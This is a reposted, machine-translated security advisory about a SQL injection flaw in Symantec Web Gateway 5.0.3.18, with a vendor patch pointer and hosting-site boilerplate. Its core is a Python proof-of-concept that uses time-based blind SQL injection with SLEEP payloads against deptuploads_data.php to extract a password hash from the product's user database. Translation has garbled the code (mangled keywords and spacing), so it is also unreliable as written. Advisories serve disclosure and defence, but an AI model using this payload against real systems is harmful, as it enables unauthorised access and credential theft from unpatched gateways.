Symantec Web Gateway 'destuploads _ data. php' SQL Injection Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Symantec Web Gateway 5.0.3.18
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54721

Symantec Web Gateway is a Symantec Enterprise Web threat protection solution.

Symantec Web Gateway 5.0.3.18 has the SQL injection vulnerability. This vulnerability allows attackers to control applications, access or modify data, and exploit other vulnerabilities in the underlying database.

<* Source: @ _ Kc57
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

@ _ Kc57 () provides the following test methods:

#! /Usr/bin/python
# @ _ Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db

Import urllib
Import time
From time import sleep

Timing = '2. 5'
Checks = 0

Def check_char (I, pos ):
Global timimg
Global checks
Checks + = 1
Url = 'https: // www.example.com/spywall/?des/deptuploads_data.php? Groupid = 1 union select 1, 2, IF (% s = conv (mid (select password from users), % s, 1), 16, 10), SLEEP (% s ), null); -- '% (I, pos, timing)
Start = time. time ()
Urllib. urlopen (url)
End = time. time ()
Howlong = end-start
Return howlong

Def check_pos (pos ):

For m in range (0, 16 ):
Output = check_char (m, pos)
Print "[*] Character % s-Took % s seconds" % (hex (m) [2:], output)
If output> 2:
Return hex (m) [2:]

Md5 =''
Start = time. time ()
For y in range (1, 33 ):
Print "Checking position % s" % (y)
Md5 + = check_pos (y)
Print md5
End = time. time ()
Howlong = end-start

Print "1st hash: % s" % (md5)
Print "Found in % s queries" % (checks)
Print "Found in % s" % (howlong)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Symantec
--------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.symantec.com/business/security_response/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.